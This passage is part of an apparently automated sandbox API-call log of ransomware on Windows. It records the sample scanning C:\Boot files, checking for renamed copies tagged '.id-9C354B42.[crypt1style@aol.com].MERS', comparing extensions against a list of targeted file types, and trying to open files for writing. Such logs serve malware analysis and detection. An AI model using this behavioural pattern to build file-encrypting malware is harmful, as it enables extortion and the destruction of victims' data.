(lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0033.943] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.943] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.944] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.944] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.944] lstrlenW (lpString=".doc") returned 4 [0033.944] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.944] lstrlenW (lpString=".docx") returned 5 [0033.944] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.944] lstrlenW (lpString=".pdf") returned 4 [0033.944] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.944] lstrlenW (lpString=".xls") returned 4 [0033.944] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.944] lstrlenW (lpString=".xlsx") returned 5 [0033.944] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.944] lstrlenW (lpString=".ppt") returned 4 [0033.944] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.944] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.944] lstrlenW (lpString=".zip") returned 4 [0033.944] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.944] lstrlenW (lpString=".rar") returned 4 [0033.944] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.944] lstrlenW (lpString=".bz2") returned 4 [0033.944] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.944] lstrlenW (lpString=".7z") returned 3 [0033.944] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.944] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.944] lstrlenW (lpString=".dbf") returned 4 [0033.944] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.944] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.944] lstrlenW (lpString=".1cd") returned 4 [0033.944] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.944] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.944] lstrlenW (lpString=".jpg") returned 4 [0033.944] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.945] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.945] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.945] lstrlenW (lpString=".doc") returned 4 [0033.945] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.945] lstrlenW (lpString=".docx") returned 5 [0033.945] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.945] lstrlenW (lpString=".pdf") returned 4 [0033.945] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.945] lstrlenW (lpString=".xls") returned 4 [0033.945] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.945] lstrlenW (lpString=".xlsx") returned 5 [0033.945] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.945] lstrlenW (lpString=".ppt") returned 4 [0033.945] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.945] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.945] lstrlenW (lpString=".zip") returned 4 [0033.945] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.945] lstrlenW (lpString=".rar") returned 4 [0033.945] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.945] lstrlenW (lpString=".bz2") returned 4 [0033.945] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.945] lstrlenW (lpString=".7z") returned 3 [0033.945] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.945] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.945] lstrlenW (lpString=".dbf") returned 4 [0033.945] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.945] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.945] lstrlenW (lpString=".1cd") returned 4 [0033.945] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.945] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0033.945] lstrlenW (lpString=".jpg") returned 4 [0033.945] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.946] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.946] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.946] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.946] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=90688) returned 1 [0033.946] CloseHandle (hObject=0x1a4) returned 1 [0033.946] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0033.946] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.946] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.946] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.946] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.946] lstrlenW (lpString=".doc") returned 4 [0033.946] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.946] lstrlenW (lpString=".docx") returned 5 [0033.947] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.947] lstrlenW (lpString=".pdf") returned 4 [0033.947] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.947] lstrlenW (lpString=".xls") returned 4 [0033.947] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.947] lstrlenW (lpString=".xlsx") returned 5 [0033.947] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.947] lstrlenW (lpString=".ppt") returned 4 [0033.947] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.947] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.947] lstrlenW (lpString=".zip") returned 4 [0033.947] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.947] lstrlenW (lpString=".rar") returned 4 [0033.947] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.947] lstrlenW (lpString=".bz2") returned 4 [0033.947] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.947] lstrlenW (lpString=".7z") returned 3 [0033.947] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.947] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.947] lstrlenW (lpString=".dbf") returned 4 [0033.947] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.947] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.947] lstrlenW (lpString=".1cd") returned 4 [0033.947] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.947] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.947] lstrlenW (lpString=".jpg") returned 4 [0033.947] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.947] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.947] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.947] lstrlenW (lpString=".doc") returned 4 [0033.947] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.947] lstrlenW (lpString=".docx") returned 5 [0033.947] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.948] lstrlenW (lpString=".pdf") returned 4 [0033.948] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.948] lstrlenW (lpString=".xls") returned 4 [0033.948] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.948] lstrlenW (lpString=".xlsx") returned 5 [0033.948] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.948] lstrlenW (lpString=".ppt") returned 4 [0033.948] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.948] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.948] lstrlenW (lpString=".zip") returned 4 [0033.948] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.948] lstrlenW (lpString=".rar") returned 4 [0033.948] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.948] lstrlenW (lpString=".bz2") returned 4 [0033.948] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.948] lstrlenW (lpString=".7z") returned 3 [0033.948] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.948] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.948] lstrlenW (lpString=".dbf") returned 4 [0033.948] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.948] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.948] lstrlenW (lpString=".1cd") returned 4 [0033.948] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.948] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0033.948] lstrlenW (lpString=".jpg") returned 4 [0033.948] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.948] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.948] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.948] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.949] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=90704) returned 1 [0033.949] CloseHandle (hObject=0x1a4) returned 1 [0033.949] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0033.949] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.949] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.949] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.949] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.949] lstrlenW (lpString=".doc") returned 4 [0033.949] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.949] lstrlenW (lpString=".docx") returned 5 [0033.949] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.949] lstrlenW (lpString=".pdf") returned 4 [0033.949] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.949] lstrlenW (lpString=".xls") returned 4 [0033.949] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.949] lstrlenW (lpString=".xlsx") returned 5 [0033.949] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.949] lstrlenW (lpString=".ppt") returned 4 [0033.949] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.949] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.949] lstrlenW (lpString=".zip") returned 4 [0033.949] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.949] lstrlenW (lpString=".rar") returned 4 [0033.949] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.949] lstrlenW (lpString=".bz2") returned 4 [0033.950] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.950] lstrlenW (lpString=".7z") returned 3 [0033.950] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.950] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.950] lstrlenW (lpString=".dbf") returned 4 [0033.950] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.950] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.950] lstrlenW (lpString=".1cd") returned 4 [0033.950] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.950] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.950] lstrlenW (lpString=".jpg") returned 4 [0033.950] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.950] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.950] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.950] lstrlenW (lpString=".doc") returned 4 [0033.950] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.950] lstrlenW (lpString=".docx") returned 5 [0033.950] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.950] lstrlenW (lpString=".pdf") returned 4 [0033.950] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.950] lstrlenW (lpString=".xls") returned 4 [0033.950] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.950] lstrlenW (lpString=".xlsx") returned 5 [0033.950] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.950] lstrlenW (lpString=".ppt") returned 4 [0033.950] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.950] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.950] lstrlenW (lpString=".zip") returned 4 [0033.950] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.950] lstrlenW (lpString=".rar") returned 4 [0033.950] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.950] lstrlenW (lpString=".bz2") returned 4 [0033.950] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.951] lstrlenW (lpString=".7z") returned 3 [0033.951] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.951] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.951] lstrlenW (lpString=".dbf") returned 4 [0033.951] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.951] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.951] lstrlenW (lpString=".1cd") returned 4 [0033.951] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.951] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0033.951] lstrlenW (lpString=".jpg") returned 4 [0033.951] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.951] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.951] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.951] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.951] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=76352) returned 1 [0033.951] CloseHandle (hObject=0x1a4) returned 1 [0033.951] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0033.951] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.951] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.952] lstrlenW (lpString=".doc") returned 4 [0033.952] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.952] lstrlenW (lpString=".docx") returned 5 [0033.952] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.952] lstrlenW (lpString=".pdf") returned 4 [0033.952] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.952] lstrlenW (lpString=".xls") returned 4 [0033.952] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.952] lstrlenW (lpString=".xlsx") returned 5 [0033.952] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.952] lstrlenW (lpString=".ppt") returned 4 [0033.952] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.952] lstrlenW (lpString=".zip") returned 4 [0033.952] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.952] lstrlenW (lpString=".rar") returned 4 [0033.952] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.952] lstrlenW (lpString=".bz2") returned 4 [0033.952] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.952] lstrlenW (lpString=".7z") returned 3 [0033.952] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.952] lstrlenW (lpString=".dbf") returned 4 [0033.952] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.952] lstrlenW (lpString=".1cd") returned 4 [0033.952] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.952] lstrlenW (lpString=".jpg") returned 4 [0033.952] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.952] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.953] lstrlenW (lpString=".doc") returned 4 [0033.953] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".docx") returned 5 [0033.953] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.953] lstrlenW (lpString=".pdf") returned 4 [0033.953] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.953] lstrlenW (lpString=".xls") returned 4 [0033.953] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.953] lstrlenW (lpString=".xlsx") returned 5 [0033.953] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.953] lstrlenW (lpString=".ppt") returned 4 [0033.953] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.953] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.953] lstrlenW (lpString=".zip") returned 4 [0033.953] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.953] lstrlenW (lpString=".rar") returned 4 [0033.953] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.953] lstrlenW (lpString=".bz2") returned 4 [0033.953] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString=".7z") returned 3 [0033.953] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.953] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.953] lstrlenW (lpString=".dbf") returned 4 [0033.953] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.953] lstrlenW (lpString=".1cd") returned 4 [0033.953] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.953] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0033.953] lstrlenW (lpString=".jpg") returned 4 [0033.953] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.953] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.954] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.954] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.954] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=75344) returned 1 [0033.954] CloseHandle (hObject=0x1a4) returned 1 [0033.954] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0033.954] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.954] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.954] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.954] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.954] lstrlenW (lpString=".doc") returned 4 [0033.954] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.954] lstrlenW (lpString=".docx") returned 5 [0033.954] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.954] lstrlenW (lpString=".pdf") returned 4 [0033.954] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.954] lstrlenW (lpString=".xls") returned 4 [0033.954] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.954] lstrlenW (lpString=".xlsx") returned 5 [0033.954] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.954] lstrlenW (lpString=".ppt") returned 4 [0033.954] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.954] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.954] lstrlenW (lpString=".zip") returned 4 [0033.955] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.955] lstrlenW (lpString=".rar") returned 4 [0033.955] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.955] lstrlenW (lpString=".bz2") returned 4 [0033.955] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".7z") returned 3 [0033.955] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.955] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.955] lstrlenW (lpString=".dbf") returned 4 [0033.955] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.955] lstrlenW (lpString=".1cd") returned 4 [0033.955] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.955] lstrlenW (lpString=".jpg") returned 4 [0033.955] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.955] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.955] lstrlenW (lpString=".doc") returned 4 [0033.955] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.955] lstrlenW (lpString=".docx") returned 5 [0033.955] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".pdf") returned 4 [0033.955] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.955] lstrlenW (lpString=".xls") returned 4 [0033.955] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.955] lstrlenW (lpString=".xlsx") returned 5 [0033.955] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.955] lstrlenW (lpString=".ppt") returned 4 [0033.955] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.955] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.955] lstrlenW (lpString=".zip") returned 4 [0033.955] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.956] lstrlenW (lpString=".rar") returned 4 [0033.956] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.956] lstrlenW (lpString=".bz2") returned 4 [0033.956] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString=".7z") returned 3 [0033.956] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.956] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.956] lstrlenW (lpString=".dbf") returned 4 [0033.956] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.956] lstrlenW (lpString=".1cd") returned 4 [0033.956] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.956] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0033.956] lstrlenW (lpString=".jpg") returned 4 [0033.956] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.956] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0033.956] lstrlenW (lpString="memtest.exe") returned 11 [0033.956] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), 